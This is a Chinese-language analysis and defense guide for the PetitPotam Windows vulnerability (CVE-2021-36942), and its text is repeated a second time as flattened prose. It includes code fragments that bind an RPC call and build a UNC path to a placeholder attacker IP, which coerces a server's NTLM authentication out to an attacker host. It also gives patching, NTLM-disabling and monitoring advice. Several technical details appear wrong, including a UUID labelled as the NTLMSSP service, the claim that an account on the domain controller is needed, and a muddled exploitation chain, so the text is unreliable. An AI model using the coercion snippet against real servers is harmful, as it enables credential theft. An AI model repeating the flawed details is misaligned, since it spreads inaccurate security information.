PetitPotam 漏洞(CVE-2021-36942)分析
字数 1962 2025-08-06 12:20:57

PetitPotam 漏洞(CVE-2021-36942)深入分析与防御指南

漏洞概述

PetitPotam 漏洞(CVE-2021-36942)是 Windows 远程协议(MS-EFSRPC)中的一个严重安全漏洞,影响微软加密文件系统(EFS)。该漏洞允许攻击者通过构造恶意文件路径,诱导目标服务器与攻击者控制的服务器建立连接,从而捕获目标服务器的 NTLM 凭据。

受影响系统

主要影响 Windows Server 系列操作系统,特别是使用 NTLMv2 身份验证协议的系统。

漏洞技术原理

MS-EFSRPC 协议基础

MS-EFSRPC(Encrypting File System Remote Protocol)是 Windows 中的加密文件系统协议,基于 RPC(Remote Procedure Call)协议,主要功能包括:

  • 文件操作接口:EfsRpcOpenFileRaw、EfsRpcReadFileRaw、EfsRpcWriteFileRaw
  • 用户管理接口:EfsRpcAddUsers、EfsRpcRemoveUsers、EfsRpcQueryUsers
  • 密钥管理接口:EfsRpcGetUserInfo、EfsRpcSetUserInfo
  • 加密操作接口:EfsRpcEncryptFile、EfsRpcDecryptFile

漏洞核心机制

漏洞存在于 EfsRpcOpenFileRaw 函数中,攻击者可以:

  1. 构造恶意文件路径,格式为:\\攻击者IP\test\topotam.exe
  2. 目标服务器尝试连接攻击者控制的服务器
  3. 在此过程中,目标服务器的 NTLM 凭据会被泄露

认证流程劫持

攻击者通过以下步骤劫持 NTLM 认证流程:

  1. 设置 RPC 绑定信息:

    RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, 
                                      (RPC_WSTR)target, 
                                      RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 
                                      RPC_C_AUTHN_GSS_NEGOTIATE, 
                                      NULL, 
                                      RPC_C_AUTHZ_NONE);
    

    其中:

    • target:目标服务器名称
    • RPC_C_AUTHN_LEVEL_PKT_PRIVACY:使用加密的 RPC 数据包
    • RPC_C_AUTHN_GSS_NEGOTIATE:采用 GSS-API 进行身份验证
  2. 构造恶意路径:

    swprintf(buffer, 100, L"\\%s\\test\\topotam.exe", captureServerIP);
    
  3. 触发 EfsRpcOpenFileRaw 调用,将 NTLM 认证流量重定向到攻击者服务器

漏洞利用过程

  1. 初始访问:攻击者需要获得域控制器上的有效账户(如域用户账户)
  2. RPC 请求伪造:攻击者向域控制器发送伪造的 RPC 请求,伪装为受信任计算机
  3. NTLMv2 触发:在请求中包含特定 RPC 操作:
    • 操作名称:"MS-EFSRPC EfsRpcOpenFileRaw"
    • ObjectUuid 字段设置为 NTLMSSP 服务的 UUID:"367abb81-9844-35f1-ad32-98f038001003"
  4. 凭据生成:域控制器验证请求并生成 NTLMv2 凭据
  5. 凭据捕获:攻击者获取 NTLMv2 凭据
  6. 权限提升:通过破解或传递哈希攻击获取域管理员权限

潜在攻击影响

  1. 凭据泄露:获取域控制器的 NTLM hash
  2. 横向移动:利用获取的凭据在网络中横向移动
  3. 权限提升:可能获取域管理员权限
  4. 持久化威胁:建立长期后门访问

防御措施

1. 官方补丁

应用微软发布的安全更新,这是最直接的修复方式。

2. 禁用 NTLM

在受影响的系统上禁用 NTLM 认证:

  • 通过组策略禁用 NTLM:计算机配置 > Windows 设置 > 安全设置 > 本地策略 > 安全选项 > 网络安全: 限制 NTLM
  • 设置为"拒绝所有账户使用 NTLM"

3. 网络隔离

  • 使用防火墙规则限制 MS-EFSRPC 服务的访问
  • 仅允许可信网络访问相关端口(通常为 RPC 端口)
  • 实施网络分段,限制域控制器的出站连接

4. 监控与检测

  • 监控异常 EFSRPC 活动
  • 设置警报检测异常的 NTLM 认证尝试
  • 特别关注来自非常规 IP 的 RPC 请求

5. 其他缓解措施

  • 启用 SMB 签名,防止中间人攻击
  • 实施 LDAP 签名和 LDAP 通道绑定
  • 考虑启用 Windows Defender Credential Guard

应急响应指南

如果发现 PetitPotam 攻击迹象:

  1. 立即隔离:隔离受影响系统
  2. 凭证重置:重置所有可能泄露的凭证
  3. 日志分析:全面分析安全日志,确定攻击范围
  4. 补丁应用:确保所有系统应用最新安全更新
  5. 横向移动检查:检查网络中是否有横向移动迹象
  6. 后门检测:全面扫描系统查找潜在后门

总结

PetitPotam 漏洞(CVE-2021-36942)是一个严重的 Windows 协议漏洞,可能直接导致域控制器凭据泄露。防御的关键在于及时打补丁、禁用不安全的认证协议(NTLM)以及实施严格的网络访问控制。安全团队应持续监控相关日志,并做好应急响应准备。

PetitPotam 漏洞(CVE-2021-36942)深入分析与防御指南 漏洞概述 PetitPotam 漏洞(CVE-2021-36942)是 Windows 远程协议(MS-EFSRPC)中的一个严重安全漏洞,影响微软加密文件系统(EFS)。该漏洞允许攻击者通过构造恶意文件路径,诱导目标服务器与攻击者控制的服务器建立连接,从而捕获目标服务器的 NTLM 凭据。 受影响系统 主要影响 Windows Server 系列操作系统,特别是使用 NTLMv2 身份验证协议的系统。 漏洞技术原理 MS-EFSRPC 协议基础 MS-EFSRPC(Encrypting File System Remote Protocol)是 Windows 中的加密文件系统协议,基于 RPC(Remote Procedure Call)协议,主要功能包括: 文件操作接口:EfsRpcOpenFileRaw、EfsRpcReadFileRaw、EfsRpcWriteFileRaw 用户管理接口:EfsRpcAddUsers、EfsRpcRemoveUsers、EfsRpcQueryUsers 密钥管理接口:EfsRpcGetUserInfo、EfsRpcSetUserInfo 加密操作接口:EfsRpcEncryptFile、EfsRpcDecryptFile 漏洞核心机制 漏洞存在于 EfsRpcOpenFileRaw 函数中,攻击者可以: 构造恶意文件路径,格式为: \\攻击者IP\test\topotam.exe 目标服务器尝试连接攻击者控制的服务器 在此过程中,目标服务器的 NTLM 凭据会被泄露 认证流程劫持 攻击者通过以下步骤劫持 NTLM 认证流程: 设置 RPC 绑定信息: 其中: target :目标服务器名称 RPC_C_AUTHN_LEVEL_PKT_PRIVACY :使用加密的 RPC 数据包 RPC_C_AUTHN_GSS_NEGOTIATE :采用 GSS-API 进行身份验证 构造恶意路径: 触发 EfsRpcOpenFileRaw 调用,将 NTLM 认证流量重定向到攻击者服务器 漏洞利用过程 初始访问 :攻击者需要获得域控制器上的有效账户(如域用户账户) RPC 请求伪造 :攻击者向域控制器发送伪造的 RPC 请求,伪装为受信任计算机 NTLMv2 触发 :在请求中包含特定 RPC 操作: 操作名称:"MS-EFSRPC EfsRpcOpenFileRaw" ObjectUuid 字段设置为 NTLMSSP 服务的 UUID:"367abb81-9844-35f1-ad32-98f038001003" 凭据生成 :域控制器验证请求并生成 NTLMv2 凭据 凭据捕获 :攻击者获取 NTLMv2 凭据 权限提升 :通过破解或传递哈希攻击获取域管理员权限 潜在攻击影响 凭据泄露 :获取域控制器的 NTLM hash 横向移动 :利用获取的凭据在网络中横向移动 权限提升 :可能获取域管理员权限 持久化威胁 :建立长期后门访问 防御措施 1. 官方补丁 应用微软发布的安全更新,这是最直接的修复方式。 2. 禁用 NTLM 在受影响的系统上禁用 NTLM 认证: 通过组策略禁用 NTLM: 计算机配置 > Windows 设置 > 安全设置 > 本地策略 > 安全选项 > 网络安全: 限制 NTLM 设置为"拒绝所有账户使用 NTLM" 3. 网络隔离 使用防火墙规则限制 MS-EFSRPC 服务的访问 仅允许可信网络访问相关端口(通常为 RPC 端口) 实施网络分段,限制域控制器的出站连接 4. 监控与检测 监控异常 EFSRPC 活动 设置警报检测异常的 NTLM 认证尝试 特别关注来自非常规 IP 的 RPC 请求 5. 其他缓解措施 启用 SMB 签名,防止中间人攻击 实施 LDAP 签名和 LDAP 通道绑定 考虑启用 Windows Defender Credential Guard 应急响应指南 如果发现 PetitPotam 攻击迹象: 立即隔离 :隔离受影响系统 凭证重置 :重置所有可能泄露的凭证 日志分析 :全面分析安全日志,确定攻击范围 补丁应用 :确保所有系统应用最新安全更新 横向移动检查 :检查网络中是否有横向移动迹象 后门检测 :全面扫描系统查找潜在后门 总结 PetitPotam 漏洞(CVE-2021-36942)是一个严重的 Windows 协议漏洞,可能直接导致域控制器凭据泄露。防御的关键在于及时打补丁、禁用不安全的认证协议(NTLM)以及实施严格的网络访问控制。安全团队应持续监控相关日志,并做好应急响应准备。